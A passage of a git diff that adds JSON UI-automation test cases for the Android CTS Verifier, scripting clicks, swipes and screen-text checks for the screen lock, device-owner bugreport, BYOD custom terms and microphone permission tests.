Button\",\"actionId\":\"53f20cb8-3502-48fa-8f03-cca8aa91b536\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"WaitAction\",\"name\":\"WAIT 50 secs\",\"actionId\":\"3ed217d7-47c7-4cde-be23-4a8f92dec580\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":50000,\"createdBy\":\"riacheltseng\"},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"8e98e0e8-60d0-42fb-abae-e48e27407e31\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"WaitAction\",\"name\":\"WAIT 15 secs\",\"actionId\":\"32701b80-c099-4199-81ae-7551bf6919c2\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":15000,\"createdBy\":\"riacheltseng\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"ce660a6f-6636-4ae3-a3aa-74797604f9a9\",\"764f69e1-13ea-4221-9366-1ed04690f270\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"6d4037a3-a4e4-4bab-9f39-afc62304cf57\",\"e4555fba-a19a-4a6c-8f12-d3202b0203f5\",\"f9f5c8ed-a060-4df8-97bb-394c3b954ec4\",\"6d4037a3-a4e4-4bab-9f39-afc62304cf57\",\"02c07c4a-39e1-43fb-9d3c-691a04cfb82a\",\"5c49717e-2937-422a-9734-5fc15b8b2257\",\"03ddbb83-3325-4bd6-888a-e4030741d032\",\"7d721a63-0ebd-4ca5-be5b-cf0798913b21\",\"716e4fd6-9e8a-4128-a3e4-1dfb1a63f4d2\",\"6d4037a3-a4e4-4bab-9f39-afc62304cf57\",\"9d613358-0e1a-4b3d-aeaf-385a8aebe8cb\",\"c83eb4f7-4cee-4926-a4d7-000aae67814f\",\"6d4037a3-a4e4-4bab-9f39-afc62304cf57\",\"d254e52c-6f38-4452-83ec-8f28d0177425\",\"9a7bf5ac-407f-429d-bba6-b59bf36ad109\",\"6d4037a3-a4e4-4bab-9f39-afc62304cf57\",\"04775cd0-58b4-4510-be20-d69eb1221fcc\",\"fbff2dad-9f80-4166-bc09-7045fe67f305\",\"9b834c3e-56ef-4d6e-99dd-61db72944a96\",\"dea6bcc9-ca10-4d05-973b-8b836fe1ece0\",\"53f20cb8-3502-48fa-8f03-cca8aa91b536\",\"3ed217d7-47c7-4cde-be23-4a8f92dec580\",\"8e98e0e8-60d0-42fb-abae-e48e27407e31\",\"6d4037a3-a4e4-4bab-9f39-afc62304cf57\",\"e4555fba-a19a-4a6c-8f12-d3202b0203f5\",\"32701b80-c099-4199-81ae-7551bf6919c2\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Condition Provider test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.234000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dfed233b-4141-4e7e-a70f-5884c712f689 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dfed233b-4141-4e7e-a70f-5884c712f689
new file mode 100644
index 0000000..16729b7
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dfed233b-4141-4e7e-a70f-5884c712f689
@@ -0,0 +1 @@
+{"uuid":"dfed233b-4141-4e7e-a70f-5884c712f689","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Device Owner Requesting Bugreport Tests\",\"actionId\":\"dfed233b-4141-4e7e-a70f-5884c712f689\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"bd22d00c-3bff-4749-8763-3323c17809bb\",\"c3700e79-6895-4fa0-8b1b-d34c5fa5b82d\",\"873d0871-f3ae-42db-a3e2-f298e3c8c9d9\",\"1e25fe0b-764b-414e-b3e3-e9c11269ad93\",\"e2d2a682-55b0-4e2c-ad2d-801e77f1cb6f\",\"bdac4f2a-64a2-460c-a210-399cd652cfa8\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_DeviceOwner_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/CtsEmptyDeviceOwner.apk\"}}","name":"test_Device Owner Requesting Bugreport Tests","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.067000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e056b93a-c19a-4f20-9cd8-640a8523dec4 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e056b93a-c19a-4f20-9cd8-640a8523dec4
new file mode 100644
index 0000000..68af427
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e056b93a-c19a-4f20-9cd8-640a8523dec4
@@ -0,0 +1 @@
+{"uuid":"e056b93a-c19a-4f20-9cd8-640a8523dec4","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Screen Lock Test\",\"actionId\":\"e056b93a-c19a-4f20-9cd8-640a8523dec4\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Screen Lock Test\",\"actionId\":\"b090a4fe-5d9d-4dc1-b051-6c5822826311\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Screen Lock Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"f07272aa-c527-4508-9c5f-a1bdc36aa1d8\",\"displayText\":\"Screen Lock Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Screen Lock Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":454.3333333333333,\"x2\":351.3333333333333,\"y2\":496.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":71.5,\"y\":470.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":108.5,\"y\":4.833333333333314,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"leafNodeContext\":\"f07272aa-c527-4508-9c5f-a1bdc36aa1d8\",\"firstText\":\"Screen Lock Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Screen Lock Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":5.0,\"y1\":450.0,\"x2\":138.0,\"y2\":491.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Screen Lock Test\",\"actionId\":\"b7864415-06bb-47af-be20-09adf26564d3\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Screen Lock Test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/da_force_lock_button\",\"actionId\":\"a7bb69b5-e7c7-4ca7-8c4a-0324ebedc641\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/da_force_lock_button\"},{\"type\":\"ConditionClickAction\",\"name\":\"Enable Admin if needs\",\"actionId\":\"bad2d852-da60-407f-9565-4ffe2922cfc9\",\"actionType\":\"CONDITION_CLICK_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.settings:id/action_button\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"e4751da0-7060-4fc0-8299-24518742e566\",\"displayText\":\"Activate this device admin app\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"b7347450-5f43-4b6c-961c-973d5aa62f43\",\"displayText\":\"Activate this device admin app\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.settings:id/action_button\",\"text\":\"Activate this device admin app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":590.3333333333334,\"x2\":197.66666666666666,\"y2\":637.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.8333333333333286,\"y\":3.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Activate this device admin app\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/restricted_action\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":590.3333333333334,\"x2\":197.66666666666666,\"y2\":637.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":98.0,\"y\":610.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":0.8333333333333286,\"y\":3.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"b7347450-5f43-4b6c-961c-973d5aa62f43\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.settings:id/action_button\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":3.0,\"y1\":599.0,\"x2\":193.0,\"y2\":622.0}},{\"type\":\"ConditionValidationAction\",\"name\":\"Click Enter button\",\"actionId\":\"887ecebd-8a62-49f9-b8aa-b954ff80d597\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/key_enter\"}]},\"clickAfterValidation\":true},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify successful message pop up.\",\"actionId\":\"f481e469-4199-4564-a74b-bc33167653f0\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"It appears the screen was locked successfully!\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"cc58ec1d-ed6d-4f71-a072-ba55cfe26b03\",\"displayText\":\"It appears the screen was locked successfully!\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"99003cc8-e7a5-479c-8c47-6e52232784e9\",\"displayText\":\"It appears the screen was locked successfully!\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"9bd6f512-a344-49a7-a677-de32fca934c8\",\"displayText\":\"It appears the screen was locked successfully!\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/message\",\"text\":\"It appears the screen was locked successfully!\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":23.333333333333332,\"y1\":370.0,\"x2\":336.6666666666667,\"y2\":405.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":23.5,\"y\":-1.3333333333333712,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"It appears the screen was locked successfully!\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":23.333333333333332,\"y1\":370.0,\"x2\":336.6666666666667,\"y2\":405.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"It appears the screen was locked successfully!\"}],\"className\":\"android.widget.ScrollView\",\"resourceId\":\"android:id/scrollView\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":23.333333333333332,\"y1\":370.0,\"x2\":336.6666666666667,\"y2\":405.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":156.5,\"y\":389.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":23.5,\"y\":-1.3333333333333712,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"leafNodeContext\":\"9bd6f512-a344-49a7-a677-de32fca934c8\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"It appears the screen was locked successfully!\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":36.0,\"y1\":369.0,\"x2\":277.0,\"y2\":409.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, OK button\",\"actionId\":\"62984b4b-93dd-47d9-8064-897cb1aa38e5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"}],\"childrenIdList\":[\"49bfb869-2ef5-4df6-8fff-3192112b82a2\",\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"b090a4fe-5d9d-4dc1-b051-6c5822826311\",\"b7864415-06bb-47af-be20-09adf26564d3\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"a7bb69b5-e7c7-4ca7-8c4a-0324ebedc641\",\"bad2d852-da60-407f-9565-4ffe2922cfc9\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"d348b7ed-2aae-47cb-b900-44247d03c629\",\"887ecebd-8a62-49f9-b8aa-b954ff80d597\",\"f481e469-4199-4564-a74b-bc33167653f0\",\"62984b4b-93dd-47d9-8064-897cb1aa38e5\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"72f62d5f-9a3a-4c4d-813c-96614b1c5845\",\"e85d4353-bdbe-4671-9f3f-b94ec6b06b0e\",\"b531da69-1e61-4e75-a6b1-7e005df80c7b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Screen Lock Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.054000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e097807f-e110-411e-9f04-02442fad05d2 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e097807f-e110-411e-9f04-02442fad05d2
new file mode 100644
index 0000000..9231ae4
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e097807f-e110-411e-9f04-02442fad05d2
@@ -0,0 +1 @@
+{"uuid":"e097807f-e110-411e-9f04-02442fad05d2","details":"{\"type\":\"CompoundAction\",\"name\":\"03_Custom terms\",\"actionId\":\"e097807f-e110-411e-9f04-02442fad05d2\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to BYOD Provisioning tests\",\"actionId\":\"689ac858-78ed-434c-81d7-b6aaff66751a\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"BYOD Provisioning tests\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"c8f2e97b-999d-4945-b357-334d83664687\",\"displayText\":\"BYOD Provisioning tests\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"BYOD Provisioning tests\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":700.0,\"x2\":351.3333333333333,\"y2\":729.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":93.5,\"y\":722.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":86.5,\"y\":-7.3333333333332575,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"c8f2e97b-999d-4945-b357-334d83664687\",\"firstText\":\"BYOD Provisioning tests\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"BYOD Provisioning tests\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":10.0,\"y1\":713.0,\"x2\":177.0,\"y2\":731.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, BYOD Provisioning tests\",\"actionId\":\"5458f6a1-3c61-461f-b23d-fa15f62605d0\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"BYOD Provisioning tests\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Custom terms\",\"actionId\":\"c8c1e8b0-d4b3-4bf8-bdc2-b9d99bab7057\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Custom terms\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Go\",\"actionId\":\"8641e5cf-17d3-4d9c-a44b-59af86650e01\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Go\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/show_terms_button\",\"actionId\":\"6d8593d7-f3d4-4fc9-9fd9-e40f124aa61b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.managedprovisioning:id/show_terms_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Company ABC\",\"actionId\":\"7fe2f714-d46d-466b-ae68-0acbe3890bb0\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Company ABC\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-if \\\"Company Terms Content\\\" exists\",\"actionId\":\"4229e42c-539a-45d3-b11d-4bd1e1bcc67e\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Company Terms Content\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"13b4cb17-4b49-4cbf-ab56-ce61684d4385\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"644fd0d0-10fd-49d2-a348-7639a623f3eb\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/button1\",\"actionId\":\"5570b3ce-3e70-4950-8d7a-6b5989df06e2\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"689ac858-78ed-434c-81d7-b6aaff66751a\",\"5458f6a1-3c61-461f-b23d-fa15f62605d0\",\"c8c1e8b0-d4b3-4bf8-bdc2-b9d99bab7057\",\"8641e5cf-17d3-4d9c-a44b-59af86650e01\",\"6d8593d7-f3d4-4fc9-9fd9-e40f124aa61b\",\"7fe2f714-d46d-466b-ae68-0acbe3890bb0\",\"4229e42c-539a-45d3-b11d-4bd1e1bcc67e\",\"13b4cb17-4b49-4cbf-ab56-ce61684d4385\",\"644fd0d0-10fd-49d2-a348-7639a623f3eb\",\"5570b3ce-3e70-4950-8d7a-6b5989df06e2\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"03_Custom terms","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.313000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e09a8291-7909-4e13-aadd-413ef0f26bdc b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e09a8291-7909-4e13-aadd-413ef0f26bdc
new file mode 100644
index 0000000..9dabfca
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e09a8291-7909-4e13-aadd-413ef0f26bdc
@@ -0,0 +1 @@
+{"uuid":"e09a8291-7909-4e13-aadd-413ef0f26bdc","details":"{\"type\":\"CompoundAction\",\"name\":\"16-07-Microphone access permission\",\"actionId\":\"e09a8291-7909-4e13-aadd-413ef0f26bdc\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Microphone access permission\",\"actionId\":\"4a87a566-fddb-412b-aabb-470220f9b335\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Microphone access permission\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"318d1078-c652-4730-a88d-eeb7113597af\",\"displayText\":\"Microphone access permission\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Microphone access permission\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":340.25,\"x2\":351.25,\"y2\":382.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":112.0,\"y\":362.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":68.0,\"y\":-0.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"318d1078-c652-4730-a88d-eeb7113597af\",\"firstText\":\"Microphone access permission\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Microphone access permission\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":9.0,\"y1\":346.0,\"x2\":215.0,\"y2\":378.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Microphone access permission\",\"actionId\":\"09ca85fc-93e9-48cb-a6a9-fd20f941d39e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Microphone access permission\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are not told your administrator has granted Microphone access to any apps\",\"actionId\":\"1aab4771-080b-4813-a17a-01a4b9989dbb\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Microphone permissions\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"23849589-0c46-42e8-a08c-49e170975995\",\"displayText\":\"Microphone permissions\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"0b062104-fef4-4a6e-988d-47fcf777c28d\",\"displayText\":\"Microphone permissions\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"bd0c3993-f065-40c3-9513-8bb1bf3b0ee5\",\"displayText\":\"Microphone permissions\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Microphone permissions\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":392.0,\"x2\":217.75,\"y2\":411.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":3.375,\"y\":3.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Microphone permissions\"},{\"uuid\":\"654a51c3-5ee6-48e6-83fa-0adbcdd5b8c2\",\"displayText\":\"Minimum 1 app\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Minimum 1 app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":411.0,\"x2\":148.5,\"y2\":427.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Minimum 1 